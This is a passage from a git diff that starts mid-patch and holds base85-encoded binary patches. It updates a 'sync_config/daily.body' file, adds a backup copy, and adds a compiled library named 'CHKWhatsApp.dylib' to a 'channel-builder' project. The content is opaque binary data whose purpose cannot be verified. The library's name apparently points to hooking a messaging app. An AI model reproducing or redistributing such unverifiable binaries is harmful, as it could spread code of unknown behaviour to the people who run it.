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 a@F-eUt9@B9mX5KcZVY+~0dBRHf&c*8WIA#H literal 0 HcmV?d00001 diff --git a/channel-builder/source/sync_config/daily.body b/channel-builder/source/sync_config/daily.body index 0981c5dd71c8f7b059d2078898d285773cd62ce8..bd011b4bf001b7eba0e2dee232a4193aba61d85d 100644 GIT binary patch delta 2589 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 a#r{iS5(m#E2G0yfBMfQ^0h0{7?f?KWN7!@# diff --git a/channel-builder/source/sync_config/daily.body.bak b/channel-builder/source/sync_config/daily.body.bak new file mode 100644 index 0000000000000000000000000000000000000000..0981c5dd71c8f7b059d2078898d285773cd62ce8 GIT binary patch literal 2463 zcmV;Q31IfW#H#>!Rx}d8&8q--Rx}a>2mt^I015yM4G#+d5|{wfH`Wxw@kb5(XBMaJ zy5{?@ie9K&b9LM>6s>`9*OW)(-aeTsDB6#IB=!WD!dAkBM#n&JH`9s#XtvzuM?83G z>?Lf%vS?r}NBQep8EcvrGIBtUp!(^Rc868PFZYTE;@hpDcLJSOaVJECTwCe-Fj?L{C4c zO&iVG(3g4IC=CDYOGyV)5pv4Y_$uU@6oW3*Gyx55%SH2DvVs|W zEA)#u4(JuB9nye+`9t8qMxv!crRUDlcH)BhY5&Ck7!HKqZ1KVTT8LTl36G8W&tbiq zE7_y(521!0!N_KNJKq~40C=a({mS(|^rXOijT0>_D}k?K*vd{P^i#ef;j_1@@QnjS$-qi&B0r&R>aNtjPScuqkJ$mf#D@ild4L zM|HB36@)r>oVexrd*+$#$JQ63fm8yziwryczh{ZSFS$mlcr@*$RB;pulX;y^lb}YG zk%#-1>g?A+($xYg4_*@yn9W)2k@(daFOC2sO0_L@=nCLa`>Xfx3vUv6(u>C+=h_R% z7jY@YebBajl?B7DeNzj-?{cU zcAPQ0S~OqbZ5lY;u+XcfxCyMg_I1xK%;Ev4z&bQ@$k&~GSfUeJ*F&||#3+iOF2Mc- zO0a&+t->;7Ry4(j(EjXFM-AF;kZup0BL2r`whAs%Ci{rUn)Nb$k3uhoG^o-|(6oOn z4DvG?toZ~o<0G5YxF?PYJnw~<9x0;4po>Nf{UTAA(G9+glT$gwWlO!nZCyrOFXTkEuP9;=5ws0(jEsxd)|`?P-{CE>;-=Ot-1J{pNU7yregG%)#&% zrPYaZqI`=R0wNagvQ7j{w`?@OFWI>d^>eSHln(GXRd<8d_=mS#&|B^eXi|;|>-we8 zob%%EeDJWlpvSpVuMNPigcc<5_?rE$al|u_#<<7Vz9&>eUX@am2gNU2z+PiKG>BUK z(?_W+fMs@vTDAT$TEgwxTZ*i}Sa*J9_d2;+#S5af^5r;R6zBdry2TuNmOL-6Vw^vt zTE)208-|N$$HA9Dh_6;DLC#6h+s^xc$RCsAU2Uiybp`oD1??#pkLJKFJ?Fq zrD#?F2C0evn9(jYUpU6a^_HH=^J|sJt#||gIsS_nKJRc7!`hx9e0o-`RKBi0-q*WI>6zj zy)K6Rzl@G$T0mW=R~o>ht4*~N`hSh}XOt1fH*zb90ZD0h7yIWZOuJ2HUcT8~_q47R zle)@!|L7I4G^LvK8ps4W{q7(m1qfW>db-g({pyWECI?4k??Yc+I5;GVU>>yo)bUVI z`F{vj4tR3A7%!maGH*QkkgBVGTKVUW?<^wTyH)L9oKz0XM6#X(@@vC=d=9lWNTBa07)1A5e1J`Oy#jVg-UWiNU{8w+bBol z79oXHHX+YoY28iGR32*=h3jqKDBnI&Z0TNRW dzG~!A#r{iS2hSx2&kRQ+3~CAilMK7=000Vk)2aXf literal 0 HcmV?d00001 diff --git a/channel-builder/source/sync_dylibs/CHKWhatsApp.dylib b/channel-builder/source/sync_dylibs/CHKWhatsApp.dylib new file mode 100644 index 0000000000000000000000000000000000000000..8a511bf5bd1b71a4d0e042bd2328c2bc9403e2e6 GIT binary patch literal 408552 zcmeFaeR!0`)yIGDZUP$ug6wV*0+K|0A^5H!AX+wwQN$NCVzsqx0tf~bkr%CsF9B>H z)b=TBu`0HTQd@Fco}xk(ZEFzQVy%@IYhQd?1BeD`RVoOJ#QZ+rnYqJeLHqo!>-X31 zTCOXcxo6ItIdkUBnKNhRzW4W^J^yRZ^THv|>j~svlBZAGNF1iTCZ4>=fjsha|8f$@ zNgyYIoCI`#K=Xv$@<7=-NZ?dxf3m@`1pIrU9j|xzK_T-yqA3!~bUecDm5jCvX z&k!6y_q;r>Df6+ue%9<8C(i23%BJ_m7)$3&b&7v_&g7InH7Wl9f72&kGwA@)Y!!|{eUSXhZ?N?8dRPj2j&u?`I8k3eY5Mih3I1jC zck->4-U!!8Ju_^d`>($K>PeI8C*M42@(r`=XHS@zO|S7bOYdxSLI3oeDL#ufM+4O#PkEORKW)XttfI>Fy`ua}!T|Z&kcYT&l>rZMfi-O)wKcK~*Pw$4#$;IbKs2BXxbpBTG06chJbmi}ce9KR( zvjck0q?bX;B%wDYb0D(&dvQ-oujx`-Q_o*a&*-tyI~js(dh6>gy_+2)dd{L}4Y4bC z^Wuh?(`QdV6umJGmfm28ujed!uEYXIZ|bxOS5KCzWb=1}qZf6x^lV$`LZ&6=<&pZ^p)`u;GGC${E+dE(8^=Ic)F;tKYb1 z^rR=7pPO>~WiS5YRPxICv(mtLg-cC)W{g6A%o{>krh*^Ov*>t9{#p(+B>!~;e=4)I zH+A;p)4B*q^{&XMSJn}SiI8{FrMJwQJ$c$m7fhWvbHdD9 zPC92M&eAuh&%AclNj2wOGR~_(ZV50)lfG7o;MY79UuAv{?D0y-mPlIk^NwqxY@gD=#B=`$xE5L-saYq}Iblz*b1DbK-YzP9r}$n(<4 zlWv?jb@nY8l!GkKI|h0TwD%G7_(3$i(miV)=lkdr`80yzofB#@IpP69az zkdr`80yzofB#@IpP69azINsFFH^sZ*W`rCTFW zU%0i@?^x??*flQH+&(AV+&O^RK9P#`mp0~0!67&0? z=PeQ(PQKu&4z|y!Zr(Mnsu{YemPq}Z9cx1y_FWxr-di7O{^asJ%JONe8*PPBgB{IL z!17R2U4_?FcO-xH)$}EDgkMSiZnb%ieLkA!T|Bo&5`GcsEuOcqI(bT}H4^ts~& zpzdDM-wb;zO}$H~SLmg;)u>*vsmEspHa;-M*4+>OC#qYROn*c=ZTKzm-#2vn`Md!W z7ay(E-9}z(q{QC}G_)_PP5+tnW>crgSGtWpMkiON%RFypOWy^H-y%=EZ6?2><&@No zo^AIZ@D)y&3{Eb=omplBH0KdiJf8F8#HVgk%hrcqw zPo8GzU*hne&%*C;_{#$P7K>l&@c$%o z)5e+)Oz9cQWYaWzap{;T2}mO%Chi z_gzPK4`U>L$2uMA;8}9`V+P$1$P46Y#0lMoQ-OY~fUDzLu_jZT>Tn630 zWYE3U;k}(nH+gy|zt20muR6L@93Pt;{^J>RU&^5SHHY^~Cf$|;bbsvVt}=Av{&Vo5 z{%c%Un7o*;x{}e)3{0SRc3t@7^0mvpQ*}V^UvxBfGC%g#|B|^ALMK^^=0uv?SwnV5 z^88(qh;Q{E>^}^?bX09UNZRUT!oQ!i<)O&GkF@Zg0E&l3`dRLD^1Fd;j})PU#s1-@ 